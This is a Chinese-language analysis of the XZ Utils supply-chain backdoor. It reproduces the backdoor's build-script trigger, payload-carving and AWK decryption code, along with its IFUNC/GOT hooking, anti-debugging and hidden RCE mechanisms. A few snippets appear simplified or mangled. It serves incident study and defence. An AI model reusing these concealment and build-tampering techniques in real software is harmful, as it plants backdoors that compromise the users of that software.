XZ后门攻击链深度剖析:从0.5秒延迟到全球供应链危机
一、事件背景
2024年3月,微软PostgreSQL工程师Andres Freund在进行性能基准测试时,发现SSH登录延迟从0.3秒增加到0.8秒,同时sshd进程CPU占用异常。通过Valgrind排查,发现liblzma(xz-utils压缩库)的代码路径出现异常错误,由此揭露了近年来最精密的供应链攻击之一。
二、社会工程学渗透:两年的潜伏布局
2.1 攻击者入场
- 2021年10月:账号Jia Tan(GitHub ID: JiaT75)提交首个patch
- 代码质量良好,态度积极,持续贡献
- 截至2021年底已提交546个commit
2.2 施压策略
- 2022年4-6月:两个新账号Jigar Kumar和Dennis Ens在邮件列表施压
- Jigar Kumar:"按照你现在的速度,我很怀疑今年能看到5.4.0版本……为什么不移交维护权?"
- Dennis Ens:"我对你的心理健康问题感到遗憾,但了解自己的极限很重要"
- 这两个账号在互联网上无任何其他活动痕迹
2.3 获取权限
- 2022年6月底:维护者Lasse Collin回复称Jia Tan"可能承担更大角色","实际上已经是共同维护者"
- Jia Tan获得commit权限,最终成为release manager
三、后门植入机制:多层嵌套的Payload隐藏
3.1 第一层:伪装测试文件
关键文件(2024年2月23日合入):
tests/files/bad-3-corrupt_lzma2.xztests/files/good-large_compressed.lzma
隐蔽技巧:
- 后门入口文件
m4/build-to-host.m4仅存在于release tarball中,不在git仓库 - 这是autotools项目的正常行为——tarball包含autoreconf生成的.m4文件
3.2 第二层:build-to-host.m4中的触发逻辑
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
gl_path_map='tr " \-_" " _\-"'
工作流程:
- 搜索匹配
####XXXXX####模式的文件 → 匹配bad-3-corrupt_lzma2.xz tr命令执行字节交换:0x09 ↔ 0x20(tab↔空格),0x2D ↔ 0x5F(-↔_)- 将"损坏"的xz文件变为合法xz文件,解压得到Stage 1 bash脚本
3.3 第三层:Stage 1的数据雕刻
good-large_compressed.lzma解压后内容为payload碎片与填充数据(0x41即字母A)交替排列
雕刻函数(使用head命令链):
# 简化版,实际链更长
i="head -c 1024 > /dev/null; head -c 2048; head -c 1024 > /dev/null; head -c 2048; ..."
- 跳过填充数据(> /dev/null),提取payload碎片
- 无需额外工具,head命令在所有Unix系统可用
3.4 第四层:AWK实现的RC4变种解密
关键代码:
BEGIN{
FS="\n"; RS="\n"; ORS="";
m=256;
for(i=0;i<m;i++){
t[sprintf("x%c",i)]=i;
c[i]=((i*7)+5)%m; # 硬编码密钥调度
}
# 丢弃前8192字节密钥流(5.6.1版本)
i=0; j=0;
for(l=0;l<8192;l++){
i=(i+1)%m; a=c[i];
j=(j+a)%m; c[i]=c[j]; c[j]=a;
}
}
{
v=t["x"(NF<1?RS:$1)];
i=(i+1)%m; a=c[i];
j=(j+a)%m; b=c[j];
c[i]=b; c[j]=a;
k=c[(a+b)%m];
printf "%c",(v+k)%m # 加法模256替代XOR
}
关键改动:
- 密钥调度用公式
((i*7)+5) % 256替代标准RC4的KSA - 用加法模256替代XOR(AWK无位运算操作符)
解密管道:
xz -dc tests/files/good-large_compressed.lzma |
eval $i |
LC_ALL=C sed "s/$.$/\1\n/g" |
LC_ALL=C awk '...' |
xz -dc --single-stream |
head -c +$W > liblzma_la-crc64-fast.o
最终产物:约88KB的ELF可重定位目标文件liblzma_la-crc64-fast.o
3.5 第五层:构建系统篡改
Stage 2脚本执行:
- 修改
src/liblzma/Makefile,将恶意.o文件链接进liblzma.so - 修改libtool配置:
- 加入
-fno-lto(关闭链接时优化,防止后门被优化掉) - 加入
-ffunction-sections -fdata-sections(防止linker GC删除后门函数和数据段)
- 加入
- 修改
crc64_fast.c源码:- 将
is_arch_extension_supported()重命名为_is_arch_extension_supported() - 使其调用恶意.o文件导出的
_get_cpuid()函数
- 将
四、运行时劫持机制
4.1 依赖链
sshd → libsystemd → liblzma(被感染)
OpenSSH本身不使用liblzma,但Debian、Fedora等发行版为sshd打了systemd通知补丁,导致sshd链接libsystemd,而libsystemd依赖liblzma。
4.2 IFUNC机制武器化
IFUNC(间接函数):glibc提供的功能,允许同一函数根据CPU特性在运行时选择不同实现。
时间窗口利用:
- sshd使用
-Wl,-z,now(full RELRO)编译 - IFUNC resolver执行发生在GOT被锁定之前
- 后门替换crc32_resolve()和crc64_resolve()的实现
_get_cpuid()执行流程:
- 第一次调用(crc32_resolve触发):内部计数器=0→加1→返回(不做任何事)
- 第二次调用(crc64_resolve触发):内部计数器=1→激活后门
- 遍历动态链接器内部结构(link_map),找到所有已加载共享库
- 解析sshd的符号表和字符串表
- 执行反调试检查
- 向
_rtld_global_ro._dl_naudit安装审计钩子 - 钩子在每个符号绑定时被调用
- 当
RSA_public_decrypt被绑定时→替换GOT条目指向后门函数 - 卸载审计钩子,消灭痕迹
4.3 反调试机制
| 检查项 | 条件 | 目的 |
|---|---|---|
| argv[0] | 必须是/usr/sbin/sshd |
确保在sshd进程里 |
| TERM | 必须未设置 | 排除交互式终端(调试场景) |
| LD_DEBUG | 必须未设置 | 排除动态链接调试 |
| LD_PROFILE | 必须未设置 | 排除profiling |
| LANG | 必须已设置 | 正常daemon环境都有 |
| endbr64指令 | 关键函数入口处的endbr64(0xf30f1efa)必须完整 | 检测软件断点(int3会覆盖第一个字节) |
特别说明:endbr64是Intel CET(控制流强制技术)指令。如果用GDB在函数入口设断点,int3(0xCC)会替换endbr64的第一个字节0xf3,后门即可检测到调试。
五、远程代码执行(RCE)触发
5.1 触发流程
GOT劫持后,每次sshd验证客户端RSA签名都走到后门代码:
Step 1:从RSA公钥提取payload
- 调用RSA_get0_key()获取客户端RSA公钥
- 检查公钥模数(N值)
- 攻击者可构造特殊RSA密钥,将payload编码进N值
Step 2:Ed448签名验证
- payload包含Ed448数字签名
- 后门硬编码攻击者Ed448公钥:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
- 签名绑定目标主机SSH host key,防止重放攻击
Step 3:ChaCha20解密
- 签名验证通过后,payload剩余部分用ChaCha20解密
Step 4:system()执行
- 解密命令直接传给system()执行
- 调用setresuid()确保root权限
5.2 假冒内存分配器
问题:后门需要调用system()、setresuid()等敏感函数,但不能出现在符号导入表
解决方案:劫持liblzma自身的lzma_alloc() API
lzma_allocator结构体:
typedef struct {
void *(*alloc)(void *opaque, size_t nmemb, size_t size);
void (*free)(void *opaque, void *ptr);
void *opaque;
} lzma_allocator;
后门构造假lzma_allocator:
- alloc函数指针→自定义符号解析函数
- opaque字段→ELF模块描述符指针
- 调用看起来像内存分配,实际在解析函数地址:
func_ptr = lzma_alloc(0xAB8, &fake_allocator); // 解析setresuid
func_ptr = lzma_alloc(0x308, &fake_allocator); // 解析read
5.3 日志伪造
后门触发成功后写入syslog:
Connection closed by authenticating user %s %s [preauth]
此消息格式与sshd认证失败日志完全相同,并调用setlogmask(0xFF)操控日志级别过滤。
六、完整攻击链总结
release tarball包含build-to-host.m4(git仓库中没有)
│
▼
build-to-host.m4用grep定位bad-3-corrupt_lzma2.xz
│
▼
tr字节交换"修复"损坏的xz文件→解压得到Stage 1 bash脚本
│
▼
Stage 1用head链从good-large_compressed.lzma雕刻出payload
│
▼
字节替换+LZMA解压→Stage 2 bash脚本(构建系统修改器)
│
▼
Stage 2检查环境(x86_64/glibc/gcc/deb|rpm打包构建)
│
▼
AWK RC4变种解密→liblzma_la-crc64-fast.o(88KB恶意目标文件)
│
▼
修改Makefile+libtool,链接进liblzma.so
│
▼
sshd启动→加载liblzma→IFUNC resolver执行_get_cpuid()
│
▼
安装动态链接器审计钩子→拦截RSA_public_decrypt符号绑定
│
▼
GOT条目替换为后门函数→卸载审计钩子
│
▼
SSH连接进入→检查RSA公钥模数中的Ed448签名
├── 签名无效→转发给真实RSA_public_decrypt,正常认证
└── 签名有效→ChaCha20解密→system()执行→伪造日志
七、未解之谜
-
Jia Tan身份:两年的社工渗透、对autotools构建系统的深入理解、对glibc动态链接器内部结构的精确操作、选择Ed448而非更常见的Ed25519——这不像单人作品。至今无公开归因,GitHub账号已被封禁,邮件指向ProtonMail。
-
Ed448私钥持有人:后门硬编码的是公钥,只有持有对应私钥者才能生成有效payload触发RCE。
-
预留扩展机制:5.6.1版本的Stage 2包含扩展机制——在tests/files/目录搜索包含特定字节签名的文件,如找到则提取、解密、执行。已知版本中无任何文件匹配这些签名,这是为未来预留的payload投递通道。
八、关键教训
该后门差一点进入Debian stable和Ubuntu LTS。如果不是Andres Freund对0.5秒延迟的强迫症级好奇心,如果不是Valgrind恰好在后门代码路径上报错——这个后门将在全球数百万台Linux服务器上安静等待激活。